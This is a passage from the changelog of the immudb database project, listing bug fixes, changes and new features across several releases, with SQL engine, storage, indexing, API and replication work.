extensions to enrich temporal queries - **embedded/sql:** de-duplicate error handling - **embedded/sql:** database selection without multidb handler is still transactional - **embedded/sql:** database selection as non-transactional - **embedded/sql:** validate current database as first step - **embedded/sql:** param substitution in functional datasource - **embedded/sql:** detailed error messages - **embedded/sql:** quoted identifiers - **embedded/sql:** ensure db selection is the last operation - **embedded/sql:** implicit time expression - **embedded/sql:** include short database selection stmt - **embedded/sql:** ensure context propagation with multiple txs - **embedded/sql:** re-include ttimestamp conversions in tx periods - **embedded/sql:** postpone period evaluation so to support parameters type inference - **embedded/sql:** non-functional catalog access - **embedded/sql:** check tx range edge cases - **embedded/sql:** sql tx with context - **embedded/sql:** multi-db handler - **embedded/sql:** functional catalog api - **embedded/store:** minor refactoring time-based tx lookup - **github:** Speedup push github actions - **grpc:** Extend Scan API with endKey, inclusiveSeek, inclusiveEnd - **pkg/api:** extend database creation response to indicate db already existed - **pkg/database:** set multi-db handler after db initialization - **pkg/database:** Rename getAt to getAtTx - **pkg/database:** Improved checking of KeyRequest constraints - **pkg/database:** databases catalog query yet unsupported - **pkg/database:** contextual sql tx - **pkg/database:** provide query parameters during resolution - **pkg/database:** maintain MaxKeyScanLimit for backward compatibility - **pkg/database:** Add missing copyright header in scan_test.go - **pkg/database:** minor error renaming - **pkg/integration:** Cleanup and restructure SQL tests - **pkg/integration:** Add SQL verify tests after ALTER TABLE - **pkg/server:** upgrade database method signature - **pkg/server:** contextual sql tx ### Features - Calculate revision number when scanning key history - Add revision number when getting DB entries - **api/schema:** Add revision-based option to key query - **cmd/immuclient:** Add restore operation - **cmd/immuclient:** Add support for revision-based get in immuclient - **cmd/immuclient:** Add revision numbers when looking up key history - **cmd/immuclient:** Better error messages for invalid revision for restore command - **embedded/sql:** catalog queries - **embedded/sql:** Implement ALTER TABLE ADD COLUMN - **embedded/sql:** create database if not exists - **embedded/sql:** WIP - UNION operator - **embedded/sql:** temporal row ranges - **embedded/sql:** queries with temporal ranges - **embedded/store:** time-based tx lookup - **embedded/store:** ranged key update reading - **pkg/client:** Add revision-based get request on the go client - **pkg/database:** Add revision-based get request on the GRPC level - **pkg/server:** support database creation from sql - **pkg/server:** support database selection from sql stmt ## [v1.2.4] - 2022-04-28 ## [v1.2.4-RC1] - 2022-04-27 ### Bug Fixes - **Dockerfile:** Fix HOME variable for podman - **cmd/immuclient:** upgrade not logged in error handling - **embedded/tbtree:** Better logging in btree flush - **embedded/tbtree:** Fix cleanupPercentage in SnapshotSince call - **embedded/tbtree:** ensure node split is evaluated - **embedded/tbtree:** create nodes with the right number of children - **embedded/tbtree:** split into multiple nodes - **github/push:** Fix notarization of binaries - **pkg/auth:** Clarify comments about token injection - **pkg/auth:** Do not send duplicated authorization header - **pkg/server:** include db name in flush index result ### Changes - **CHANGELOG.md:** remove bogus `liist` tag entry - **build/RELEASING.md:** Update releasing docs - **cmd/immuclient:** include db name when printing current state - **embedded/store:** index settings validations - **embedded/tbtree:** rename function that calculates node size lower bound - **embedded/tbtree:** ensure node size is consistent with key and value sizes - **github:** Update github workflow on master / version push - **github:** Update github action versions - **github:** Use smaller 5-days retention for master builds - **github/push:** Add quick test linux-amd64 binaries - **github/push:** Build, test and notarize for release/v* branches - **github/push:** Calcualte sha256 checksums for binaries in github - **github/push:** Build docker images after tests - **github/push:** Add quick test for Mac x64 binaries - **github/push:** Add quick test for linux-arm64 binaries through qemu - **github/push:** Add quick test for linux-s390x binaries through qemu - **github/push:** Run stress test before notarizing binaries - **pkg/api:** txbyid with keepReferencesUnresolved option - **tools/testing:** Add randomized key length mode for stress test tool - **tools/testing:** Add stress tool ## [v1.2.3] - 2022-04-14 ### Bug Fixes - **cmd/immuadmin:** simplify logging when flushing and compacting current db - **pkg/database:** return key not found when resolving a deleted entry - **pkg/database:** Return correct error for verifiedGet on deleted entries ## [v1.2.3-RC1] - 2022-04-13 ### Bug Fixes - **CI/CD:** Golang compiler is not needed for building docker images - **CI/CD:** Use CAS for notarization - **embedded/store:** Fix early precondition checks - **embedded/store:** Ensure up-to-date index on constrained writes - **embedded/tbtree:** copy-on-write when increasing root ts - **immudb:** Fix the name of signing key env var - **pkg:** Fix tests after recent changes in API - **pkg/api:** typo in kv metadata message - **pkg/api:** Remove unused Sync field from IndexOptions - **pkg/api/schema:** Use correct id for preconditions in SetRequest - **pkg/auth:** Avoid unguarded read from user tokens map - **pkg/client:** Adopt to EncodeReference changes - **pkg/client:** Prevent updates with incorrect database settings - **pkg/client:** Use correct response for UpdateDatabaseV2 - **pkg/client/errors:** Update the list of error codes - **pkg/client/errors:** Ensure FromErrors works with ImmuError instance - **pkg/database:** Better handling of invalid constraints - **pkg/database:** Improve test coverage for KV constraints - **pkg/database:** automatically set max score if not specified in desc order - **pkg/errors:** Correct GRPC error mapping for precondition failure - **pkg/server:** Use buffered channel for catching OS signals - **pkg/server:** typo in log message - **pkg/server:** adjust time to millis convertion - **pkg/server:** ensure sessions locks get released - **pkg/server:** override default settings with existent values - **tools/monitoring:** Update grafana dashboards ### Changes - cleanup percentage as float value - Fix typo in a comment - Rename Constraints to Preconditions - Update copyright to 2022 - **Dockerfile:** Improve dockerfile builds - **build:** improve release instructions ([#1100](https://github.com/vchain-us/immudb/issues/1100)) - **cmd/immuadmin:** add safety flag in delete database command - **cmd/immuclient:** health command description - **embedded/ahtree:** fix error message - **embedded/appendable:** return io.EOF if there are not enough data for checksum calculation - **embedded/appendable:** fix typo in error message - **embedded/appendable:** discard capability - **embedded/appendable:** appendable checksum calculation - **embedded/store:** Add missing Copyright header - **embedded/store:** add synced setting in index options - **embedded/store:** do not skip expired entries when indexing - **embedded/store:** verbose data corruption error - **embedded/store:** parametrized index write buffer size - **embedded/store:** syncThld at store options - **embedded/store:** verbose logging during compaction - **embedded/store:** index one tx per iteration - **embedded/store:** improve compaction logging - **embedded/store:** sync aht when syncing the store - **embedded/store:** skip expired entries during indexing - **embedded/store:** declare constants for all the options - **embedded/store:** use store layer for constraint validations - **embedded/store:** constraint validations with deletion and expiration support - **embedded/store/options:** Simplify validation tests - **embedded/tbree:** use shared writeOpts - **embedded/tbree:** only insert nodes in cache when they were mutated - **embedded/tbree:** remove obsolete property - **embedded/tbree:** bump index version - **embedded/tbtree:** middle node split - **embedded/tbtree:** Add more internal metrics - **embedded/tbtree:** min offset handling - **embedded/tbtree:** validate compaction target path - **embedded/tbtree:** data discarding with opened and older snapshots - **embedded/tbtree:** Extend buckets for child node count histogram - **embedded/tbtree:** synced flush if cleanup percentage is greater than zero - **embedded/tbtree:** discard unreferenced data after sync - **embedded/tbtree:** reduce allocs during flush - **embedded/tbtree:** minOffset only for non-mutated nodes - **embedded/tbtree:** ensure current snapshot is synced for compaction - **embedded/tbtree:** validate input kv pairs before sorting - **embedded/tbtree:** improve snapshot loading and discarding - **embedded/tbtree:** discard unreferenced data when flushing index - **embedded/tbtree:** discard unreferenced data - **embedded/tbtree:** Add metrics for index data size - **embedded/tbtree:** reduce allocations when flushing - **embedded/tbtree:** positive compaction threshold - **embedded/tbtree:** rebase non-indexed on kv syncthreshold - **embedded/tbtree:** explicit error validation before loading - **embedded/tbtree:** sort kv pairs in bulkInsert - **embedded/tbtree:** checksum-based snapshot consistency validation - **embedded/tbtree:** self-healing index - **embedded/tbtree:** set initial offsets during initialization - **embedded/tbtree:** validate data-format version - **embedded/tbtree:** use double for min offset calculation - **embedded/tbtree:** reduce fixed records length - **embedded/tbtree:** open-ranged nodes - **embedded/tbtree:** wip reduce node size - **embedded/tbtree:** ensure sync on gracefully closing - **embedded/tbtree:** fully replace sync with syncThld - **embedded/tbtree:** use binary search during key lookups - **embedded/tbtree:** Use KV entries count for sync threshold - **embedded/tbtree:** no cache update during compaction reads - **makefile:** fix cas sign instructions - **metrics:** Add better flush / compaction metrics for btree - **pkg/api:** use entries spec in verified and scan tx endpoints - **pkg/api:** add synced param to flushindex endpoint - **pkg/api:** non-indexable entries - **pkg/api:** change proto schema toward db loading/unloading - **pkg/api:** parametrized index cleanup percentage - **pkg/api:** db loading and unloading - **pkg/api:** uniform v2 endpoints - **pkg/api:** prepare flushindex endpoint for future extensions - **pkg/api:** use nullable prefix in db settings message - **pkg/client:** optional client connection - **pkg/client:** use txRequest in TxByIDWithSpec method - **pkg/client:** synced flushing to enable physical data deletion - **pkg/database:** parameters to resolve references at tx - **pkg/database:** tx entries excluded by default if non-null spec is provided - **pkg/database:** optional tx value resolution - **pkg/database:** use shared tx holder when resolving tx entries - **pkg/database:** remove db name from options - **pkg/integration:** integrate non-indexed into grpc apis - **pkg/server:** endpoint to retrieve settings of selected database - **pkg/server:** expose max opened files for btree indexing - **pkg/server:** use syncThreshold - **pkg/server:** replication options for systemdb and defaultdb - **pkg/server:** use previous store default values - **pkg/server:** increase default max number of active snapshots - **pkg/server:** tolerate failed user-created db loading - **pkg/server:** expose flush index endpoint - **pkg/server:** start/stop replicator when loading/unloading db - **pkg/server:** convert time to milliseconds - **pkg/server:** minor changes - **pkg/server:** log web-console error on boot - **pkg/server:** synced db runtime operations - **pkg/server:** Dump used db options when loading databases - **pkg/serverr:** validate request in deprecated database creation endpoint - **stats:** Add btree cache prometheus stats ### Features - Improved API for database creation and update - Improved validation of kv constraints - Entries-independent constraints in GRPC api - Move KV write constraints to OngoingTX member - **KV:** Do not create unnecessary snapshots when checking KV constraints - **KV:** Add constrained KV writes for Set operation - **KV:** Add constrained KV writes for Reference operation - **KV:** Add constrained KV writes for ExecAll operation - **KV:** Move constraints validation to OngoingTx - **embedded/cache:** dynamic cache resizing - **embedded/store:** Fail to write metadata if proof version does not support it - **embedded/store:** Add tests for generation of entries with metadata - **embedded/store:** non-indexable entries - **embedded/store:** Add max header version used during writes - **embedded/store:** Allow changing tx header value using GRPC api. - **embedded/tbtree:** decouple flush and sync by introducing syncThreshold attribute - **immuadmin:** Allow changing proof compatibility from immuadmin - **kv:** Update grpc protocol with KV set constraints - **pkg/api:** tx api with entry filtering capabilities - **pkg/api:** delete database endpoint - **pkg/client:** new method to fetch tx entries in a single call - **pkg/database:** Updated GRPC protocol for constrained writes - **pkg/database:** add noWait attribute in get request - **pkg/database:** Update code for new constrained write protocol - **pkg/server:** database health endpoint - **pkg/server:** support database loading/unloading - **pkg/server:** new endpoint databaseSettings - **pkg/server:** expose all database settings - **tools/monitoring:** added datasource selection, added instance selection, labels include instance, fixed calculations - **tools/monitoring:** Add immudb Grafana dashboard ## [v1.2.2] - 2022-01-18 ### Bug Fixes - registering connection in order to make possible conn recycling - **Dockerfile:** Add ca-certificates.crt file to immudb image - **client/file_cache:** Fix storing immudb state in file cache - **embedded/immustore:** Avoid deadlock when acquire vLog lock - **embedded/sql:** max key len validations - **embedded/sql:** consider not null flag is on for auto incremental column - **pkg/server:** validate if db is not replica then other replication attributes are not set - **pkg/stdlib:** fix last insert id generation ### Changes - create code of conduct markdown file ([#1051](https://github.com/vchain-us/immudb/issues/1051)) - **cmd/immuclient:** return actual login error - **embedded/sql:** wip client provided auto-incremental values - **embedded/sql:** change column constraints ordering - **embedded/sql:** wip client provided auto-incremental values - **embedded/sql:** add first and last insert pks retrivial methods - **embedded/sql:** wip client provided auto-incremental values - **metrics:** Add indexer metrics - **metrics:** Add more s3-related metrics - **pkg/database:** temporarily disable execall validations - **pkg/database:** pre-validation of duplicated entries in execAll operation - **pkg/database:** instantiate tx holder only in safe mode - **pkg/database:** self-contained noWait execAll - **pkg/database:** descriptive error messages - **pkg/replication:** delay replication after failure - **pkg/stdlib:** clean connection registration and leftovers ### Features - **embedded/sql:** support for basic insert conflict handling - **s3:** Add support for AWS V4 signatures ## [v1.2.1] - 2021-12-14 ### Bug Fixes - fix interactive use database - **embedded/store:** change already closed error message - **embedded/store:** readonly tx entries to ensure no runtime modification - **embedded/store:** reserve 4bytes in buffers for nentries - **embedded/tbtree:** set fixed snapshot ts - **pkg/server/sessions:** remove transaction on read conflict error - **pkg/server/sessions/internal/transactions:** transaction is cleared after sqlExec error - **sql:** Do not panic on error during delete - **tx:** Remove summary from metadata ### Changes - **embedded/store:** txmetdata placeholder with zero len - **embedded/store:** private readonly metadata is validated when reading data - **embedded/store:** read-only kv metadata for committed entries - **embedded/store:** rw and readonly kv metadata - **pkg/api:** use new kvmetadata api - **pkg/client:** tx read conflict error is mapped in an CodInFailedSqlTransaction - **pkg/server/sessions/internal/transactions:** defer only when needed - **pkg/stdlib:** clean tx after rollback - **pkg/stdlib:** fix connection creation - **server/sessions:** modify read conflict error message ### Features - **pkg/stdlib:** expose tx on std lib ## [v1.2.0] - 2021-12-10 ### Bug Fixes - **database:** Internal consistency check on data reads - **database/meta:** Do not crash on history with deleted items - **pkg/database:** history skipping not found entries - **protobuf:** Fix compatibility with 1.1 version ### Changes - **cmd/immuadmin/command:** add super user login hint - **embedded/sql:** use sql standard escaping with single quotes - **embedded/sql:** support for escaped strings - **embedded/store:** reduce attribute code size - **embedded/store:** mandatory expiration filter - **embedded/store:** fix expiration error declaration - **embedded/store:** dedicated expiration error - **embedded/store:** improve metadata serialization/deserialization methods - **embedded/store:** validations during metadata deserialization - **embedded/store:** return data corrupted error when deserialization cannot proceed - **embedded/store:** easily extendable meta attributes - **embedded/store:** use fixed time during the lifespan of a tx - **embedded/store:** prevent value reading of expired entries - **makefile:** remove windows binaries digital signature - **pkg/auth:** require admin permission to export and replicate txs - **pkg/integration:** remove useless compilation tag on tests - **pkg/server:** deprecate GetAuth and WithAuth - **pkg/server/sessions:** session max inactivity time set to 3m and minor stat collecting fix - **pkg/server/sessions:** tuning sessions params - **pkg/server/sessions:** session timeout set to 2 min ### Features - **embedded/store:** logical entries expiration - **pkg/api:** logical entries expiration - **pkg/client:** expirable set ## [v1.2.0-RC1] - 2021-12-07 ### Bug Fixes - Update jaswdr/faker to v1.4.3 to fix build on 32-bit systems - **Makefile:** Use correct version of the grpc-gateway package - **Makefile:** Fix building immudb for specific os/arch - **embedded/sql:** normalize parameters with lower case identifiers - **embedded/sql:** Do not modify value returned by colsBySelector - **embedded/sql:** correct max key length validation based on specified col max length - **embedded/sql:** fix rollback stmt - **embedded/sql:** distinct row reader with limit argument - **embedded/sql:** ensure determinism and no value overlaps distinct rows - **embedded/sql:** Use correct statement for subquery - **embedded/sql:** param substitution in LIKE expression - **embedded/sql:** Fix SELECT * when joining with subquery - **embedded/sql:** fix inserting calculated null values - **embedded/store:** release lock when tx has a conflict - **embedded/store:** read conflict validation - **embedded/store:** typo in error message - **pkg/auth:** Fix password tests - **pkg/client:** fix database name saving on token service - **pkg/database:** sql exec on provided tx - **pkg/server:** fix keep alive session interceptor - **testing:** using pointers for job channels - **webconsole:** Fix html of the default missing page. ### Changes - Update build/RELEASING.md documentation. - remove token service from client options and fix tests - token is handled internally by sdk. Remove useless code - refining sdk client constructor and add readOnly tx guard - fix more tests - decoupled token service - **cmd/immuadmin/command:** fix immuadmin token name on client creation - **cmd/immuclient:** deleteKeys functioin and updates after metadata-related changes - **cmd/immuclient:** temporary disable displaying hash in non-verified methods - **embeddded/tbtree:** leverage snapshot id to identify it's the current unflushed one - **embedded/multierr:** minor code simplification - **embedded/sql:** rollback token - **embedded/sql:** changes on tx closing - **embedded/sql:** postponing short-circuit evaluation for safetiness - **embedded/sql:** set INNER as default join type - **embedded/sql:** Better error messages when (up|in)serting data - **embedded/sql:** minor code simplification - **embedded/sql:** standardized datasource aliasing - **embedded/sql:** remove opt_unique rule to ensure proper error message - **embedded/sql:** fix nullable values handling - **embedded/sql:** use order type in scanSpecs - **embedded/sql:** kept last snapshot open - **embedded/sql:** de-duplicate tx attributes using tx header struct - **embedded/sql:** unsafe snapshot without flushing - **embedded/sql:** wip sql tx preparation - **embedded/sql:** set parsing verbose mode when instantiating sql engine - **embedded/sql:** reusable index entries and ignore deleted index entries - **embedded/sql:** limit row reader - **embedded/sql:** delay index sync until fetching row by its pk - **embedded/sql:** leverage metadata for logical deletion - **embedded/sql:** Simplify row_reader key selection - **embedded/sql:** use int type for limit arg - **embedded/sql:** minor update after rebasing - **embedded/sql:** cancel non-closed tx - **embedded/sql:** expose Cancel method - **embedded/sql:** sql engine options and validations - **embedded/sql:** Alter index key prefixes - **embedded/sql:** return map with last inserted pks - **embedded/sql:** wip rw transactions - **embedded/sql:** defer execution of onClose callback - **embedded/sql:** wip sqlTx - **embedded/sql:** standard count(*) - **embedded/sql:** ddl stmts not counted in updatedRows - **embedded/sql:** method to return sql catalog - **embedded/sql:** non-thread safe tx - **embedded/sql:** wip interactive sqltx - **embedded/sql:** bound stmt execution to a single sqltx - **embedded/sql:** use current db from ongoing tx - **embedded/store:** expose ExistKeyWithPrefix in OngoingTx - **embedded/store:** conservative read conflict validation - **embedded/store:** non-thread safe ongoing tx - **embedded/store:** reorder tx validations - **embedded/store:** wip tx header versioning - **embedded/store:** simplified ExistKeyWithPrefix in current snapshot - **embedded/store:** set tx as closed even on failed attempts - **embedded/store:** strengthen tx validations - **embedded/store:** GetWith method accepting filters - **embedded/store:** set header version at commit time - **embedded/store:** remove currentShapshot method - **embedded/store:** entryDigest calculation including key len - **embedded/store:** threadsafe tx - **embedded/store:** handle watchersHub closing error - **embedded/store:** ongoing tx api - **embedded/store:** tx header version validations and increased max number of entries - **embedded/store:** early tx conflict checking - **embedded/store:** filter out entries when filter evals to true - **embedded/tbtree:** remove ts from snapshot struct - **embedded/tools:** upgrade sql stress tool - **embedded/tools:** upgrade stress tool using write-only txs - **embedded/tools:** update stress_tool after metadata-related changes - **pkg/api:** changes in specs to include new metadata records - **pkg/api:** consider nil case during tx header serialization - **pkg/api/schema:** increase supported types when converting to sql values - **pkg/client:** check if token is present before injecting it - **pkg/client:** omit deleted flag during value decoding - **pkg/client:** updates after metadata-related changes - **pkg/client:** avoid useless tokenservice call and add tests - **pkg/client/clienttest:** fix immuclient mock - **pkg/client/tokenservice:** handlig error properly on token interceptor and fix leftovers - **pkg/database:** return a specific error in querying - **pkg/database:** snapshots should be up to current committed tx - **pkg/database:** improve readability of Database interface - **pkg/database:** limit query len result - **pkg/database:** updates after metadata-related changes - **pkg/database:** use new transaction support - **pkg/database:** implement current functionality with new tx supportt - **pkg/database:** revised locking so to ensure gracefully closing - **pkg/database:** enforce verifiableSQLGet param validation - **pkg/errors:** useDatabase returns notFound code when error - **pkg/errors:** invalid database name error converted to immuerror - **pkg/integration:** updates after metadata-related changes - **pkg/server:** use upgraded database apis - **pkg/server:** updates after metadata-related changes - **pkg/server:** error when tx are not closed - **pkg/server/sessions:** polish logger call - **pkg/server/sessions:** add sessions counter debug messages - **pkg/stdlib:** remove context injection when query or exec - **pkg/stdlib:** fix unit testing - **pkg/stdlib:** increase pointer values handling and testing - **pkg/stdlib:** general improvements and polishments - **pkg/stdlib:** handling nil pointers when converting to immudb named params - **pkg/stdlib:** improve connection handling and allow ssl mode in connection string - **stress_tool_sql:** add sessions and transaction mode - **stress_tool_worker_pool:** add long running stress tool - **test:** test backward compatibility with previous release (v1.1.0) - **tsting:** add index compactor in long running stress tool ### Features - helm chart for deploying immudb on kubernetes ([#997](https://github.com/vchain-us/immudb/issues/997)) - **embedded/appendable:** method for reading short unsigned integer - **embedded/sql:** null values for secondary indexes - **embedded/sql:** support for IN clause - **embedded/sql:** support for not like - **embedded/sql:** WIP un-restricted upsert - **embedded/sql:** engine as tx executor - **embedded/sql:** wip sqltx at engine with autocommit - **embedded/sql:** increased expression power in LIKE and IN clauses - **embedded/sql:** Detect ambigous selectons on joins - **embedded/sql:** distinct row reader - **embedded/sql:** delete from statement - **embedded/sql:** sql update statement - **embedded/sql:** support value expression in like pattern - **embedded/sql:** create index if not exists - **embedded/store:** initial commit towards full tx support - **embedded/store:** wip enhanced tx support - **embedded/store:** conservative tx invalidation - **embedded/store:** included filters in key readers - **embedded/store:** including metadata records - **embedded/store:** logical key deletion api - **embedded/store:** keyReader in tx scope - **embedded/store:** functional constraints - **embedded/tbtree:** read as before returns history count - **embedded/tbtree:** implements ExistKeyWithPrefix in snapshots - **sql:** Add support for IS NULL / IS NOT NULL expressions - **sql/index-on-nulls:** Update on-disk format to support nullable values - **sql/timestamp:** Add CAST from varchar and integer to timestamp - **sql/timestamp:** Add timestamp support to embedded/sql - **sql/timestamp:** Add timestamp to protobuf definition - **sql/timestamp:** Add timestamp to stdlib ## [v1.1.0] - 2021-09-22 ### Bug Fixes - Minor updates to build/RELEASING.md - Update Dockerfile.alma maintainer field - **CI:** Fix building and releasing almalinux images - **Dockerfile:** Fix compiling version information in docker images - **Dockerfile.rndpass:** Fix building rndpass docker image - **embedded/sql:** limit auto-increment to single-column pks - **embedded/sql:** consider boolean type in maxKeyVal - **embedded/sql:** exclude length from maxKey - **embedded/sql:** return error when joint table doest not exist - **embedded/sql:** support edge case of table with just an auto-increment column - **embedded/sql:** take into account table aliasing during range calculations - **embedded/sql:** suffix endKey when scan over all entries - **embedded/sql:** in-mem catalog rollback and syncing fixes - **embedded/sql:** adjust selector ranges calculation - **embedded/sql:** improve error handling and parameters validation - **embedded/sql:** set type any to nil parameters - **embedded/sql:** fix table aliasing with implicit selectors - **embedded/sql:** enforce ordering by grouping column - **embedded/store:** fix constraint condition - **embedded/store:** error handling when setting offset fails - **pkg:** improve signature verification during audit - **pkg/stdlib:** fix driver connection releasing ### Changes - remove wip warning for fully implemented features - Remove experimental S3 warning from README - Update codenotary maintainer info - Update RELEASING.md with documentation step. - Add documentation link to command line help outputs - Add documentation link at the beginning of README.md - Add documentation badge to README.md - **CI:** Explicitly require bash in gh action building docker images - **CI:** Use buildkit when building docker images - **CI:** Build almalinux-based immudb image - **Dockerfile:** Update base docker images - **Dockerfile:** Use scratch as a base for immudb image - **Dockerfile:** Build a debian-based image for immudb next to the scratch one - **Dockerfile:** Remove unused IMMUDB_DBNAME env var - **Makefile:** Add darwin/amd64 target - **Makefile:** More explicit webconsole version - **build.md:** Add info about removing webconsole/dist folder - **cmd/immuadmin:** parse all db flags when preparing settings - **cmd/immuadmin:** remove replication flag shortcut - **cmd/immuadmin:** improve flag description and rollback args spec - **cmd/immuclient:** display number of updated rows as result of sql exec - **cmd/immudb:** use common replication prefix - **docker:** Update generation of docker tags - **embedded:** leverage kv constraint to enforce upsert over auto-incremental pk requires row to already exist - **embedded/multierr:** enhace multi error implementation - **embedded/sql:** remove join constraints - **embedded/sql:** minor refactoring to simplify code - **embedded/sql:** convert unmapIndexedRow into unmapRow with optional indexed value - **embedded/sql:** index prefix function - **embedded/sql:** catalog loading requires up to date data store indexing - **embedded/sql:** mark catalog as mutated when using auto incremental pk - **embedded/sql:** move index spec closer to ds - **embedded/sql:** changed identifiers length in catalog - **embedded/sql:** move index selection closer to data source in query statements - **embedded/sql:** minor code refactoring - **embedded/sql:** include constraint only when insert occurs without auto_incremental pk - **embedded/sql:** disable TIMESTAMP data-type - **embedded/sql:** get rid of limited joint implementation - **embedded/sql:** minor code simplification - **embedded/sql:** ignore null values when encoding row - **embedded/sql:** fix primary key supported types error message - **embedded/sql:** optimize integer key mapping - **embedded/sql:** use plain big-endian encoding for integer values - **embedded/sql:** include support for int64 parameters - **embedded/sql:** use Cols as a replacement for ColsByID - **embedded/sql:** leverage endKey to optimize indexing scanning - **embedded/sql:** use int64 as value holder for INTEGER type - **embedded/sql:** add further validations when encoding values as keys - **embedded/sql:** fix max key length validation - **embedded/sql:** reserve byte to support multi-ordered indexes - **embedded/sql:** expose primary key index id - **embedded/sql:** wip scan optimizations based on query condition and sorting - **embedded/sql:** partial progress on selector range calculation - **embedded/sql:** validate non-null pk when decoding index entry - **embedded/sql:** limit upsert to tables without secondary indexes - **embedded/sql:** optional parenthesis when specifying single-column index - **embedded/sql:** partial progress on selector range calculation - **embedded/tbtree:** typo in log message - **embedded/tbtree:** return kv copies - **embedded/tbtree:** adjust seekKey based on prefix even when a value is set - **embedded/tbtree:** compaction doesn't need snapshots to be closed - **embedded/tools:** update sql stress tool with exec summary - **pkg/api:** changed db identifiers type - **pkg/api:** use follower naming for replication credentials - **pkg/api:** use a map for holding latest auto-incremental pks - **pkg/api:** delete deprecated clean operation - **pkg/api:** include updated rows and last inserted pks in sql exec result - **pkg/api:** use fresh id in proto message - **pkg/api:** use int64 as value holder for INTEGER type - **pkg/client:** move unit testing to integration package to avoid circular references - **pkg/client:** changed db identifiers type - **pkg/database:** warn about data migration needed - **pkg/database:** update integration to exec summary - **pkg/database:** minor adjustments based on multi-column indexing - **pkg/database:** warn about data migration needed - **pkg/database:** include updated rows and last inserted pks in sql exec result - **pkg/database:** display as unique if there is a single-column index - **pkg/database:** create sql db instance if not present - **pkg/database:** minor refactoring coding conventions - **pkg/database:** remove active replication options from database - **pkg/database:** minor renaming after rebase - **pkg/pgsql/server:** adds pgsql server maxMsgSize 32MB limit - **pkg/pgsql/server:** add a guard on payload message len - **pkg/replication:** use new context for each client connection - **pkg/replication:** handle disconnection only within a single thread - **pkg/replication:** use info log level for network failures - **pkg/server:** changed default db file size and make it customizable at db creation time - **pkg/server:** change max concurrency per database to 30 - **pkg/server:** nil tlsConfig on default options - **pkg/server:** validate replication settings - **pkg/server:** use replica wording - **pkg/server:** followers management - **pkg/stdLib:** implementing golang standard sql interfaces - **pkg/stdlib:** increase code coverage and fix blob results scan - **pkg/stdlib:** remove pinger interface implementation and increase code coverage - **pkg/stdlib:** immuclient options identifier(uri) is used to retrieve cached connections - **pkg/stdlib:** simplified and hardened uri handling ### Features - Dockerfile for almalinux based image - **cmd/immuadmin:** add replication flags - **cmd/immuadmin:** add flag to exclude commit time - **embedded/multierr:** implement stardard error Is & As methods - **embedded/sql:** use explicitelly specified index as preffered one - **embedded/sql:** wip unique multi-column indexes - **embedded/sql:** wip auto-incremental integer primary keys - **embedded/sql:** value expressions in row specs - **embedded/sql:** switch to signed INTEGER - **embedded/sql:** exec summary containing number of updated/inserted rows and last inserted pk per table - **embedded/sql:** max length on variable sized types as requirement for indexing - **embedded/sql:** multi-column primary keys - **embedded/sql:** support index spec in joins - **embedded/sql:** expose scanSpecs when resolving a query - **embedded/sql:** wip unique multi-column indexing - **embedded/sql:** towards more powerful joins - **embedded/sql:** inner join with joint table and subqueries - **embedded/store:** parameterized commit time - **embedded/store:** leverage endKey from tbtree key reader - **embedded/tbtree:** include endKey to instruct scan termination - **pkg/database:** row verification with composite primary keys - **pkg/follower:** follower replication - **pkg/pgsql/server:** add support for flush message - **pkg/replication:** initial active replication capabilities - **pkg/server:** initial support for active replication of user created databases - **pkg/server:** upgrade db settings to include or exclude commit time - **pkg/server:** systemdb and defaultdb follower replication ## [v1.0.5] - 2021-08-02 ### Bug Fixes - bind psql port to the same IP address as grpc interface ([#867](https://github.com/vchain-us/immudb/issues/867)) - Update crypto, sys dependencies - consistent reads of recently written data - **embedded/ahtree:** fix the full revert corner case - **embedded/store:** Truncate aht before commit - **embedded/store:** revert change so to prevent nil assigments - **embedded/store:** handle missing error case during commit phase - **embedded/store:** Don't fail to open on corrupted commit log - **embedded/store:** use reserved concurrency slot for indexing - **embedded/tbtree:** use padding to ensure stored snapshots are named following lex order - **embedded/tbtree:** garbage-less nodes log - **embedded/tbtree:** ensure clog is the last one being synced - **embedded/tbtree:** flush logs containing compacted index - **embedded/tbtree:** ensure proper data flushing and syncing - **pkg/client/auditor:** fix and enhance state signature verification - **pkg/pgsql/server:** fix boolean and blob extended query handling - **pkg/pgsql/server:** hardened bind message parsing and fix leftovers - **pkg/pgsql/server/fmessages:** use a variable size reader to parse fe messages - **pkg/server:** initialize db settings if not present - **pkg/server:** lock userdata map read - **s3:** Use remote storage for index - **s3:** Use remote storage for new databases - **sql/engine:** Harden DecodeValue - **store/indexer:** Ensure indexer state lock is always unlocked ### Changes - move sqlutils package to schema - Update dependencies - increased coverage handling failure branches ([#861](https://github.com/vchain-us/immudb/issues/861)) - group user methods in a dedicated file - Better logging when opening databases - remove unused interceptors and add missing error code prefixes - **appendable:** Expose validation functions of appendable options - **appendable/multiapp:** Add hooks to the MultiFileAppender implementation - **appendable/multiapp:** Introduce appendableLRUCache - **cmd/immuclient:** fix panic in immuclient cli mode - **cmd/immuclient:** update error comparisson - **embedded:** col descriptor with attributes - **embedded/ahtree:** minor refactoring improving readability - **embedded/ahtree:** auto-truncate partially written commit log - **embedded/ahtree:** minor changes towards code redabilitiy - **embedded/cache:** Add Pop and Replace methods to LRUCache. - **embedded/sql:** explicit catalog reloading upon failed operations - **embedded/sql:** type specialization - **embedded/sql:** Remove linter warnings - **embedded/sql:** initial type specialization in place - **embedded/sql:** remove public InferParameters operations from sql statements - **embedded/sql:** validate either named or unnamed parameters are used within the same stmt - **embedded/sql:** towards non-blocking sql initialization - **embedded/sql:** parameters type inference working with aggregations - **embedded/sql:** several adjustments and completion in type inference functions - **embedded/sql:** dump catalog with a different database name - **embedded/sql:** cancellable wait for catalog - **embedded/sql:** expose InferParameters function in RowReader interface - **embedded/store:** tx metatada serialization/deserialization - **embedded/store:** edge-case validation with first tx - **embedded/store:** validate replicated tx against current store - **embedded/store:** minor refactoring improving readability - **embedded/store:** auto-truncate partially written commit log - **embedded/store:** minor code simplification - **embedded/tbtree:** expose current number of snapshots - **embedded/tbtree:** warn if an error is raised while discarding snapshots - **embedded/tbtree:** nodes and commit prefix renaming - **embedded/tbtree:** use setOffset for historical data overwriting - **embedded/tbtree:** auto-truncate partially written commit log - **embedded/tbtree:** full snapshot recovery - **embedded/tbtree:** enable snapshot generation while compaction is in progress - **pkg/api:** kept same attribute id in TxEntry message - **pkg/api:** fix typo inside a comment - **pkg/api:** remove information not required to cryptographically prove entries - **pkg/api:** kept simple db creation api to guarantee backward compatibility - **pkg/api:** comment on deprecated and not yet supported operations - **pkg/auth:** list of supported operations in maintenance mode - **pkg/database:** replace fixed naming with current database - **pkg/database:** migrate systemdb catalog to fixed database naming - 